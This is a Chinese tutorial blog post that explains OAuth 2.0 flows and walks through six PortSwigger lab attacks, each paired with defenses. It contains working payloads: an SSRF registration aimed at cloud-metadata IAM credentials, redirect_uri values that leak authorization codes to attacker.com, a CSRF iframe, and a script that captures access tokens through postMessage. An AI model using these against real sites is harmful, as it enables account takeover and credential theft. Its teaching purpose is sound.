OAuth 2.0 已经成为现代 Web 应用的标准认证协议,但在便捷的单点登录背后,隐藏着诸多安全隐患。本文基于 Portswigger Web Security Academy 的六大 OAuth 实验,系统梳理攻击手法、漏洞原理与防御方案,帮助大家建立完整的 OAuth 攻防知识体系。
一、OAuth 2.0 基础:你真的了解授权流程吗?
在深入漏洞之前,我们先厘清 OAuth 2.0 的两种核心模式:
1.1 授权码模式(Authorization Code)
**最安全、最推荐的流程:**其核心设计通过分离授权码(Authorization Code)与访问令牌(Access Token)的传递通道,显著提升安全性。
用户点击登录 → 授权服务器返回 code → 后端用 code+client_secret 换 token
典型授权过程:
1)用户发起授权请求
客户端生成授权链接,重定向用户至授权服务器。即网站拼出这个 URL,把用户带到微信的授权页。
bash
GET /authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read&state=xyz123
这是第三方应用(客户端)将用户重定向到授权服务器(如 Google、GitHub 或微信登录页面)时构造的链接。
其中:response_type=code:固定值,表明请求授权码。
state:防CSRF攻击的随机字符串。
2)用户登录并授权
用户输入账号密码,并点击"同意授权"。并确认授权范围(如读取个人资料)。
3)返回授权码(Authorization Code)
授权服务器(如 Google、GitHub)对刚才发出的授权请求做出的正面回应。它告诉浏览器:"用户已经同意了,现在请带着这个'临时凭证'跳回到开发者指定的页面去。"
授权服务器生成短期有效(通常≤10分钟)的授权码,通过前端重定向返回客户端:
bash
HTTP/302 Found
Location: CALLBACK_URL?code=AUTHORIZATION_CODE&state=xyz123
其中,HTTP/302 Found : 这是一个 HTTP 状态码,表示"临时重定向"。它告诉浏览器不要停在当前页面,而是立即跳转到 Location 标头指定的地址。
Location: 这是浏览器下一步要访问的目标完整 URL。
CALLBACK_URL: 这是你在第一步请求中提供的回调地址(你的后端接口或前端页面)。
-
code=AUTHORIZATION_CODE:-
这是最核心的部分! * 这是一个临时的、短寿命的授权码(Authorization Code)。
-
它本身不是 Access Token(不能直接用来调数据),而是一张"取件码"。你的服务器稍后需要用这个
code去换取真正的access_token。
-
-
state=xyz123: 这是原样返回的随机字符串。你的客户端必须校验这个值是否与你发送时的一致,以确保这个响应是对应你刚才发出的请求,而不是黑客伪造的。 -
4)客户端换取访问令牌(Back Channel)
这是 OAuth 2.0 授权流程中最关键、最安全 的一步:客户端在后端使用授权码换取访问令牌(Access Token)(避免前端暴露敏感信息):
bash
POST /token
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=CALLBACK_URL&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
其中,**client_secret:**验证客户端身份的关键凭证。
为什么这一步如此重要?
(1)安全隔离 :用户在浏览器里只能看到临时的 code。即便 code 被截获,黑客如果没有你的 client_secret(存在你服务器上),也无法换成真正的令牌。
(2)身份确认 :通过 client_secret,授权服务器可以百分之百确定:"哦,这确实是开发者本人在请求数据。"
(3)一次性消耗 :code 通常只能使用一次,且会在几分钟内失效。所以拿到 code 后,后端必须"秒换" Token。有效期通常只有 1-10 分钟。
5)授权服务器发放令牌
验证通过后,返回JSON响应,这才是真正想要的"通行证"
bash
{
"access_token": "eyJhbGci...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "def456",
"scope": "read"
}
其中:
-
access_token: 之后你访问用户数据(如头像、好友列表)时,必须在 Header 里带上它。 -
expires_in: 令牌的有效期(单位:秒)。 -
refresh_token: 可选。当access_token过期后,用来刷新获取新的 Token,不需要用户再次登录。
6)客户端访问资源
客户端携带访问令牌请求资源:
bash
GET /api/resource
Authorization: Bearer eyJhbGci...
可以看出:
-
授权码(code)通过浏览器传递
-
Access token 只在后端通道流转
-
支持 PKCE 扩展,防止 CSRF(注:CSRF跨站请求伪造,通过操纵用户浏览器自动提交请求的攻击方法。CSRF由用户的浏览器自动发起,使用的是用户已经认证通过的凭据,在Web应用上提交的请求或操作不是出自用户的本意)
这个请求是一个标准的 HTTP 资源请求,其核心在于 Authorization 请求头:
-
客户端发送请求:应用(后端或前端)将令牌放在 Header 中发送给资源服务器。
-
服务器校验:
-
资源服务器检查令牌是否伪造(校验签名)。
-
检查令牌是否过期。
-
检查令牌是否有权访问
/api/resource(校验scope)。
-
-
返回数据:如果校验通过,服务器会返回用户请求的私有数据(通常是 JSON 格式)。
关键防护机制

1.2 隐式授权模式(Implicit)
为单页应用(SPA)设计,但安全性较差
用户点击登录 → 授权服务器直接返回 access_token(在 URL #fragment 中)
-
Access token 暴露在浏览器地址栏
-
通过 JavaScript 提取使用
-
OAuth 2.1 已废弃此模式
1.3 与其他模式的对比

**二、**六大实验全景对比
| 实验名称 | 难度 | 核心漏洞 | 攻击目标 | 关键利用点 |
|---|---|---|---|---|
| SSRF via OpenID Dynamic Client Registration | ⭐⭐ Practitioner | 动态注册端点无认证 + logo_uri SSRF | 云环境元数据(内网169.254.169.254) | 注册恶意客户端,触发二阶 SSRF |
| OAuth account hijacking via redirect_uri | ⭐⭐ Practitioner | redirect_uri 无白名单验证 | 授权码(code) | 构造恶意 redirect_uri 外泄 code |
| Forced OAuth profile linking | ⭐⭐ Practitioner | 缺失 state 参数,CSRF 攻击 | 已登录用户的账户绑定 | 预获取code,诱使 admin 完成回调 |
| Authentication bypass via OAuth implicit flow | ⭐ Apprentice | 客户端未验证 token 与用户绑定关系 | 任意用户账户 | 替换 email 参数,token 不变 |
| OAuth account hijacking via redirect_uri | ⭐⭐ Practitioner | redirect_uri 无白名单验证 | 授权码(code) | 构造恶意 redirect_uri 外泄 code |
| Stealing OAuth access tokens via an open redirect | ⭐⭐ Practitioner | redirect_uri 目录遍历 + 开放重定向 | Access token | 利用 ../ 遍历到跳转页面,外泄 token |
| Stealing OAuth access tokens via a proxy page | ⭐⭐ Practitioner | redirect_uri 目录遍历 + 不安全 postMessage | Access token | iframe 劫持 + postMessage 跨域泄漏 |
三、六大攻击向量深度解析
3.1 攻击向量一:授权服务器配置缺陷
代表实验:SSRF via OpenID Dynamic Client Registration
漏洞原理:
-
动态客户端注册端点(
/reg)无需认证即可访问 -
logo_uri参数指定的 URL 会被授权服务器访问以获取 logo -
攻击者指向内网地址(
169.254.169.254),造成 SSRF
注:SSRF(Server-Side Request Forgery)是一种攻击者操纵服务器发起非预期请求的安全漏洞。攻击者通过控制用户输入(如URL参数),诱导服务器向指定目标发送HTTP请求,从而绕过防火墙访问本应隔离的资源。
漏洞成因
- 功能设计缺陷:服务端需从外部URL获取数据(如图片加载、网页转码、API聚合),但未对用户提供的URL进行严格验证。
- 信任边界滥用 :请求源自服务器IP(受信任),可访问内网服务(如数据库、云元数据)、本地主机(
127.0.0.1)或敏感协议(file://、gopher://)
典型路径
bash
A[攻击者提交恶意URL] --> B(服务端解析并发起请求)
B --> C{访问目标:内网/本地/云元数据}
C --> D[敏感数据泄露或内网渗透]
利用代码:
bash
{
"redirect_uris": ["https://example.com"],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
防御方案:
-
- 注册端点要求 Initial Access Token
-
- 严格校验所有 URI 参数(白名单域名)
-
- 禁止访问内网网段(169.254.0.0/16, 10.0.0.0/8 等)
3.2 攻击向量二:redirect_uri 劫持
代表实验:OAuth account hijacking via redirect_uri
漏洞原理:
-
授权服务器未验证 redirect_uri 或验证不严格
-
攻击者将 redirect_uri 改为自己的服务器
-
受害者授权后,code/token 被发送到攻击者服务器
利用技巧:
bash
# 恶意授权链接
GET /auth?client_id=xxx&redirect_uri=https://attacker.com/callback&response_type=code
进阶攻击:目录遍历 + 开放重定向组合
javascript
# 先利用 ../ 遍历到站内开放重定向点
redirect_uri=https://victim.com/oauth-callback/../post/next?path=https://attacker.com
防御方案:
-
- 精确匹配:注册时登记的 URI 必须与请求完全一致
-
- 禁止通配符 :不使用
*或部分匹配
- 禁止通配符 :不使用
-
- PKCE 强制:即使 code 被截获也无法使用
3.3 攻击向量三:CSRF 绑定攻击
代表实验:Forced OAuth profile linking
漏洞原理:
-
• OAuth 流程缺失 state 参数(CSRF Token)
-
• 攻击者预先将自己的社交账户 绑定到受害者的本地账户
攻击流程:
bash
1. 攻击者登录自己的账户,开始 OAuth 绑定流程
2. 在授权回调前截获 code(Burp Drop)
3. 构造 CSRF 页面,诱导已登录的 admin 访问
<iframe src="/oauth-linking?code=ATTACKER_CODE">
4. admin 的浏览器携带 session 完成绑定
5. 攻击者现在可用自己的社交账户登录 admin 账户
关键点:state 参数确保授权请求和回调的会话一致性
防御方案:
-
强制 state 参数:随机不可预测,绑定到用户会话
-
验证一致性:回调时检查 state 是否匹配
3.4 攻击向量四:隐式流令牌泄漏
代表实验:Authentication bypass via OAuth implicit flow
漏洞原理:
-
• 隐式流将 access_token 放在 URL fragment 中(
#access_token=xxx) -
• 客户端应用未验证 token 归属,只检查 token 有效性
-
• 攻击者用自己的有效 token + 受害者的 email 完成登录
利用代码:
javascript
POST /authenticate
{
"email": "victim@example.com", // 篡改
"username": "attacker",
"token": "ATTACKER_VALID_TOKEN" // 自己的 token
}
防御方案:
-
弃用隐式流:改用授权码模式 + PKCE
-
服务端验证:用 token 向 OAuth 服务器请求用户信息,与提交的身份比对
3.5 攻击向量五:代理页面劫持
代表实验:Stealing OAuth access tokens via a proxy page
漏洞原理:
-
站内存在不安全的 postMessage 实现(如评论表单)
-
parent.postMessage(data, '*')向任意域发送消息,包含当前 URL(含 token)
攻击链:
redirect_uri 遍历到 comment-form 页面
→ 页面加载时自动 postMessage 发送 location.href(含 #access_token)
→ 攻击者的 exploit 页面作为 parent 接收消息
→ 外泄 token
利用代码:
javascript
<!-- 攻击者页面 -->
<iframe src="https://oauth-server/auth?...&redirect_uri=../post/comment/comment-form&response_type=token"></iframe>
<script>
window.addEventListener('message', e => {
fetch('/log?token=' + e.data.data) // 捕获 token
}, false)
</script>
防御方案:
-
指定 targetOrigin :
postMessage(data, 'https://trusted.com') -
验证 event.origin:接收方检查消息来源
-
不传输敏感数据:避免在 postMessage 中发送 token、session 等
3.6 攻击向量六:开放重定向组合攻击
代表实验:Stealing OAuth access tokens via an open redirect
与代理页面的区别:利用跳转而非 postMessage
攻击链:
redirect_uri=../post/next?path=https://attacker.com
→ 授权后跳转到 /post/next?path=attacker.com#token
→ 开放重定向到 attacker.com?token=xxx(从 Referer 或 JS 提取)
防御方案:
-
修复开放重定向:path 参数只允许站内相对路径
-
多重验证:跳转前检查 URL 是否在白名单
四、漏洞挖掘实战技巧
4.1 信息收集:发现 OAuth 端点
1. 访问 /.well-known/openid-configuration
→ 获取 authorization_endpoint, token_endpoint, registration_endpoint
2. 检查登录按钮的 href
→ 分析 client_id, redirect_uri, response_type, scope
3. 查看页面源码和 JS 文件
→ 寻找 postMessage, addEventListener, window.location 等关键词
4.2、重定向测试矩阵

4.3 关键参数检查清单
-
•state:是否存在?是否随机?是否验证?
-
•redirect_uri:是否严格匹配?是否允许遍历?
-
•scope:是否包含敏感权限?是否可修改?
-
•response_type:是否为 token(隐式流)?
-
•client_id:是否可枚举?是否与特定 redirect_uri 绑定?
-
•PKCE:code_challenge 是否存在?